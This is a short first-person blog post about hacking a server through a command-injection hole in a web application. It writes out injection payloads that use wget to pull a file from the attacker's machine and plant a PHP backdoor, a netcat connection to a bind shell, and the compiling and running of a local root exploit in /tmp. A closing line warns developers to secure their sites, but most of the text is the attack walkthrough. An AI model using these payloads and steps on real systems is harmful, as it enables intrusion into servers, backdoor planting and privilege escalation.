Hacking System Through Web Application

Some people who create web usually not notice the secure from their web. It is dangerous and harmless. Through web application, we can attack the server.

In this post, I will to tell about my experience how to hacking server through web application.

First step, we must search the vulnerability from the web application. In this web, I found the command execution from the site.

Then, I try to ping the IP address (in this case, I already have IP address from the server).

After I write the IP address, the result appears below. It mean I can do something from this command execution.

Next, I try to upload image through command execution but nothing response or not happen anything. Then, I try to upload backdoor and the response is same with when I upload image.

To upload file through command execution we can use this command :

ip_target | wget our_ip_address/file.jpg -O 123.jpg (in this command we must start our apache and file must saved to /var/www/)

or we can use this command :

;wget (layout file)/file.php -O 123.php

Then, I try to add on the address bar my backdoor name (123.php). Suddenly, I can access my backdoor. From the backdoor I go to /tmp because in this directory is executable. I choose the netsploit from the backdoor and then I press 'bind'. From my computer, I open the shell and and try to call my backdoor with this command :

nc ip_target port_backdoor

From the command above, I can access the system but in this case me as nobody.

Next step, I upload exploit file to /tmp, for example 12345.c.

In my shell, I change my exploit file with this command :

gcc 12345.c -o 12345

After that execute the exploit with this command :

./12345

But, until this step I can't to access as root.

From my experience the conclusion is if we will to make a website, we must notice and safe! Just from the web application, our system can be hacked.